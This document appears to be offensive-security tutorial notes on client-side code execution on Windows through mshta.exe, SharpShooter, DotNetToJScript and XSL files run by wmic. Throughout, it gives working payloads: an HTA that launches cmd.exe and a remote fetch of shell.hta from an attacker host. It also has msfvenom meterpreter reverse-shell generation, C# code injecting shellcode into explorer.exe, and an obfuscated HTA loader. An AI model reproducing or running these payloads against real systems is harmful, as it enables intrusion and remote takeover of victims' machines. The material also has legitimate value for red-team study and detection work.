Microsoft HTML Applications
Microsoft HTML Applications (MSHTA) is a vector for client-side attacks to
execute JScript payloads, allowing us to execute .hta
files with the
mshta.exe
application. Here’s an example payload so we can better understand
its structure:
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell")
var res = shell.Run("cmd.exe")
</script>
</head>
<body>
<script language="JScript">
self.close()
</script>
</body>
</html>
Given the structure of this payload, we can see how we would go about smuggling
our malicious JScript. Here’s an example invocation of this payload using
mshta.exe
:
$lHost = ${LHOST}
$lPort = ${LPORT}
. (Get-Command -Name "mshta.exe").Source "http://${lHost}:${lPort}/shell.hta"
MSHTA and SharpShooter
Using SharpShooter we can
generate an .hta
payload to deliver a meterpreter reverse shell payload.
We invoke the following to generate our meterpreter reverse shell payload:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=${LHOST} LPORT=${LPORT} -f raw -o shell.txt
And we can generate our SharpShooter .hta
payload by invoking the
following:
python ~/opt/SharpShooter/SharpShooter.py --payload hta --dotnetver 4 --stageless --rawscfile shell.txt --output shell
MSHTA and DotNetToJScript
Using DotNetToJscript, we can
generate an .hta
payload to deliver a meterpreter
reverse shell payload that
uses process injection. We start by building a .NET Framework assembly with
the following C# .NET code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId
);
public TestClass()
{
int explorerId = Process.GetProcessesByName("explorer")[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, explorerId);
IntPtr addr =
VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = new byte[854] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41,
// ...
0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
};
_ = WriteProcessMemory(hProcess, addr, buf, buf.Length, out _);
_ = CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0,
IntPtr.Zero
);
}
}
We invoke the following to use DotNetToJScript to generate a JScript payload that will invoke the code within our process injection assembly:
DotNetToJScript.exe --lang=JScript -o="pwn.js" "ExampleAssembly.dll"
We can test that our pwn.js
payload works by invoking:
. (Get-Command -Name "wscript.exe").Source .\pwn.js
To reliably execute our JScript payload we use uglify-js to minify the payload - here’s an example invocation:
uglifyjs ./pwn.js > uglypwn.js
Finally, we construct our malicious .hta
payload that contains our minified
DotNetToJScript JScript payload. This final payload will execute using MSHTA,
delivering a JScript payload that loads our assembly to conduct process
injection and execute a meterpreter reverse shell payload:
<HTML><HEAD></HEAD><BODY><script language="javascript">function setversion(){}function debug(s){}function base64ToStream(b){var enc=new ActiveXObject("System.Text.ASCIIEncoding");var length=enc.GetByteCount_2(b);var ba=enc.GetBytes_4(b);var transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");ba=transform.TransformFinalBlock(ba,0,length);var ms=new ActiveXObject("System.IO.MemoryStream");ms.Write(ba,0,length/4*3);ms.Position=0;return ms}var serialized_obj="${INSERT_SERIALIZED_ASSEMBLY_HERE}";var entry_class="TestClass";try{setversion();var stm=base64ToStream(serialized_obj);var fmt=new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");var al=new ActiveXObject("System.Collections.ArrayList");var d=fmt.Deserialize_2(stm);al.Add(undefined);var o=d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)}catch(e){debug(e.message)}</script><script language="vbscript">self.close</script></body></html>
XSL
We can also gain arbitrary JScript code executing using Extensible Stylesheet
Language (XSL) documents. Here’s an example .xsl
document to gain JScript
code execution:
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe");
]]>
</ms:script>
</stylesheet>
We can execute this payload using the Windows Management Instrumentation
(WMI) command line application, wmic
. Here’s an example invocation to
execute our .xsl
file:
Start-Process `
-FilePath (Get-Command -Name "wmic").Source `
-ArgumentList @("os", "get", '/format:"C:\Tools\shell.xsl"')